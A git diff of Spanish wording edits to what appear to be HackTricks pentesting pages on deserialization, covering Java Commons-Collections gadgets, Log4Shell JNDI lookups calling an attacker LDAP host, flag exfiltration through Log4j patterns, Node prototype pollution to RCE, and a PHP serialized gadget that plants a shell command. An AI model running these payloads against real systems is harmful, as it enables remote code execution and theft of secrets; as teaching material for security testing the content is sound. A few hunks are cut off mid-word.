-En esta pestaña, debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
+En esta pestaña debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil, y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
 
diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
index 3af9cb056..c460f5846 100644
--- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
+++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
@@ -4,7 +4,7 @@
 
 ## Java Transformers a Rutime exec()
 
-En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache como la siguiente:
+En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache, como la siguiente:
 ```java
 import org.apache.commons.*;
 import org.apache.commons.collections.*;
@@ -92,7 +92,7 @@ Map map = new HashMap<>();
 Map lazyMap = LazyMap.decorate(map, chainedTransformer);
 lazyMap.get("anything");
 ```
-En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. A partir del siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
+En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. En el siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
 ```java
 protected LazyMap(Map map, Transformer factory) {
 super(map);
@@ -153,11 +153,11 @@ _Tenga en cuenta cómo `value` es la entrada de cada transformación y la salida
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```
-Nota que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puedes ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
+Tenga en cuenta que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puede ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
 
 ## Java Thread Sleep
 
-Este payload podría ser **útil para identificar si la web es vulnerable ya que ejecutará un sleep si lo es**.
+Este payload podría ser **útil para identificar si la web es vulnerable, ya que ejecutará un sleep si lo es**.
 ```java
 import org.apache.commons.*;
 import org.apache.commons.collections.*;
diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
index 5a2bf3db1..304b541dc 100644
--- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
+++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
+JNDI, integrado en Java desde finales de los años 90, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
 
 ### Referencia de Nombres JNDI
 
@@ -42,7 +42,7 @@ CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Obj
 - **ID de Tipo**: Identificador único para una interfaz.
 - **Codebase**: URL para obtener la clase stub.
 
-Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
+Cabe destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
 
 - Instalación de un **Administrador de Seguridad**.
 - Configuración del Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a través de:
@@ -53,7 +53,7 @@ Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir
 
 ### Contexto RMI
 
-Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.
+Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
 
 ### LDAP
 
@@ -85,7 +85,7 @@ Es más fácil atacar este LDAP usando **referencias JavaFactory**:
 
 La vulnerabilidad se introduce en Log4j porque soporta una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
 
-[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
+[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo por defecto no se aplica.
 
 Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
 
@@ -99,7 +99,7 @@ Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en
 
 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
 
-Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
+Inicialmente calificada como baja pero luego actualizada a crítica, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
 
 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
 
@@ -237,14 +237,14 @@ Desencadena la ejecución de la clase de explotación en el servidor web suscept
 ```bash
 ${jndi:ldap://<LDAP_IP>:1389/Exploit}
 ```
-**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
+**Nota:** Esta explotación depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
 
 ### RCE - **JNDIExploit**
 
-> [!NOTE]
-> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si quieres respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
+> [!NOTA]
+> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si deseas respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
 >
-> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes qué estás ejecutando.
+> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes lo que estás ejecutando.
 
 Para este ejemplo, puedes simplemente ejecutar este **servidor web vulnerable a log4shell** en el puerto 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_en el README encontrarás cómo ejecutarlo_). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP _X-Api-Version_.
 
@@ -292,11 +292,11 @@ _Este ataque utilizando un objeto java generado de forma personalizada funcionar
 
 ### RCE - JNDI-Injection-Exploit-Plus
 
-[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\
+[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, servidor LDAP y servidor HTTP.\
 
 ### RCE - ysoserial & JNDI-Exploit-Kit
 
-Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases específicas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
+Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases especificadas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
 
 Usando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) puedes crear el exploit de deserialización que será descargado por JNDI:
 ```bash
@@ -332,7 +332,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
 - [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
 - [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
 - [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
-- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontrar bibliotecas vulnerables locales
+- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encuentra bibliotecas vulnerables locales
 
 ### Laboratorios para probar
 
@@ -343,7 +343,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
 
 ## Explotación Post-Log4Shell
 
-En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **potencialmente posible** **abusar** de algunas características de **Log4J**.
+En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **posible** **abusar** de algunas características de **Log4J**.
 
 La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes:
 
@@ -353,40 +353,14 @@ La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html
 
 Esto significa que por defecto puedes **olvidarte de usar cualquier exploit `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
 
-Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
+Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
 ```xml
 <Console name="Console" target="SYSTEM_ERR">
 <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
 </PatternLayout>
 </Console>
 ```
-### Búsquedas de Entorno
-
-En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
-Como se ve en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
-
-### Exfiltración en Excepciones
-
-En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimieron en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`.** Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
-
-![](<../../images/image (1023).png>)
-
-### Excepciones de Patrones de Conversión
-
-Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo:
-
-![](<../../images/image (683).png>)
-
-Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
-
-### Expresiones Regulares de Patrones de Conversión
-
-Sin embargo, es posible usar algunos **patrones de conversión que soportan expresiones regulares** para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de **búsqueda binaria** o comportamientos **basados en tiempo**.
-
-- **Búsqueda binaria a través de mensajes de excepción**
-
-El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **expresiones regulares**. Funciona así: `replace{pattern}{regex}{substitution}`\
-Abusando de este comportamiento podrías hacer que el reemplazo **provocara una excepción si la expresión regular coincidía** con algo dentro de la cadena (y sin excepción si no se encontraba) así:
+### Bús
 ```bash
 %replace{${env:FLAG}}{^CTF.*}{${error}}
 # The string searched is the env FLAG, the regex searched is ^CTF.*
@@ -397,7 +371,7 @@ Abusando de este comportamiento podrías hacer que el reemplazo **provocara una
 Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Por lo tanto, es posible usar un payload de la [**página de ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\
 Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF.
 
-En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
+En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
 
 > ```
 > /%replace{
@@ -416,9 +390,9 @@ En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
 > }{#}{######################################################}
 > ```
 >
-> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#`-s (utilicé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes se reemplaza luego por 54 `#`-s**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
+> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
 >
-> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
+> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que el código de estado HTTP 500 sea enviado al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
 
 ## Referencias
 
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 21b0c712d..286c21789 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
 ```
 ### Contaminación de elementos de matriz
 
-Note que así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
+Tenga en cuenta que, así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
 ```javascript
 c = [1, 2]
 a = []
@@ -218,7 +218,7 @@ client-side-prototype-pollution.md
 $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
 console.log({}.devMode) // Outputs: true
 ```
-Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
+Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
 
 ### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
 
@@ -353,6 +353,4 @@ Para reducir el riesgo de contaminación del prototipo, se pueden emplear las si
 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
 - [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
 - [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
-- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
-
-{{#include ../../../banners/hacktricks-training.md}}
+- [https://blog.p6.is/AST-Injection/](https://blog.p
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index 9f73d7aca..a9468c446 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -6,7 +6,7 @@
 
 Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden usar para **encontrar vulnerabilidades de contaminación de prototipos**.
 
-Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear** automáticamente las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
+Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
 
 ### Depuración de dónde se usa una propiedad <a href="#id-5530" id="id-5530"></a>
 ```javascript
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
index a5a21fb9d..989eb2c27 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
@@ -37,11 +37,11 @@ clone(USERINPUT)
 // Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
 var proc = fork("a_file.js")
 ```
-## PP2RCE a través de variables de entorno
+## PP2RCE a través de vars de entorno
 
 **PP2RCE** significa **Contaminación de Prototipos a RCE** (Ejecución Remota de Código).
 
-Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas variables de entorno**:
+Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas vars de entorno**:
 ```javascript
 //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
 
@@ -124,7 +124,7 @@ var proc = fork("a_file.js")
 
 Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
 
-- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
+- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena i**nside argv0** de **`/proc/self/cmdline`**.
 - Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
 ```javascript
 const { execSync, fork } = require("child_process")
@@ -171,7 +171,7 @@ O, para evitar que los WAFs pidan el dominio:
 }
 }
 ```
-## PP2RCE vuln funciones child_process
+## PP2RCE vuln child_process functions
 
 En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar que esa función ejecute código:
 
@@ -414,7 +414,7 @@ var proc = execSync("something")
 
 <details>
 
-<summary><strong><code>spawnSync</code> explotación</strong></summary>
+<summary><strong>Explotación de <code>spawnSync</code></strong></summary>
 ```javascript
 // environ trick - working with small variation (shell and argv0)
 // NOT working after kEmptyObject (fix) without options
@@ -461,9 +461,9 @@ var proc = spawnSync("something")
 ```
 </details>
 
-## Forzar Spawn
+## Forzando Spawn
 
-En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no lo está** llamando?
+En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no** lo está llamando?
 
 ### Controlando una ruta de archivo require
 
@@ -667,8 +667,8 @@ Sin embargo, al igual que los métodos **`child_process`** anteriores, ha sido *
 
 Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** se **establece** un **valor**, **no podrás sobrescribirlo**.
 
-En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo que **previene que una contaminación de prototipos** afecte los **atributos** de **`options`** para obtener RCE.\
-Al menos desde la v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
+En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo cual **previene que una contaminación de prototipo** afecte los **atributos** de **`options`** para obtener RCE.\
+Al menos desde v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
 
 En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también en parte arreglada** configurando opciones a **`kEmptyObject`** en lugar de **`{}`.**
 
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
index a8a94da84..79c2c9f7b 100644
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
@@ -1,8 +1,8 @@
-# PHP - Deserialización + Clases de Autocarga
+# PHP - Deserialización + Carga Automática de Clases
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Primero, debes verificar qué son [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
+Primero, debes verificar qué son [**Clases de Carga Automática**](https://www.php.net/manual/en/language.oop5.autoload.php).
 
 ## Deserialización de PHP + spl_autoload_register + LFI/Gadget
 
@@ -41,10 +41,10 @@ require __DIR__ . $filename;
 En mi caso, no tenía nada como eso, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
 
 - Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
-- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar la carga útil de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
-- NOTA: La **carga útil generada no funcionaba**, para que funcionara **modifiqué** esa carga útil **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
-- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener una **carga útil de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
-- Puedes ver **primero el cargador siendo cargado y luego la carga útil**.
+- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar el payload de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
+- NOTA: El **gadget generado no estaba funcionando**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privado a público**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
+- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener un **payload de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
+- Puedes ver **primero el cargador siendo cargado y luego el payload**.
 ```php
 a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
 ```
diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md
index b316c818e..67cb96be5 100644
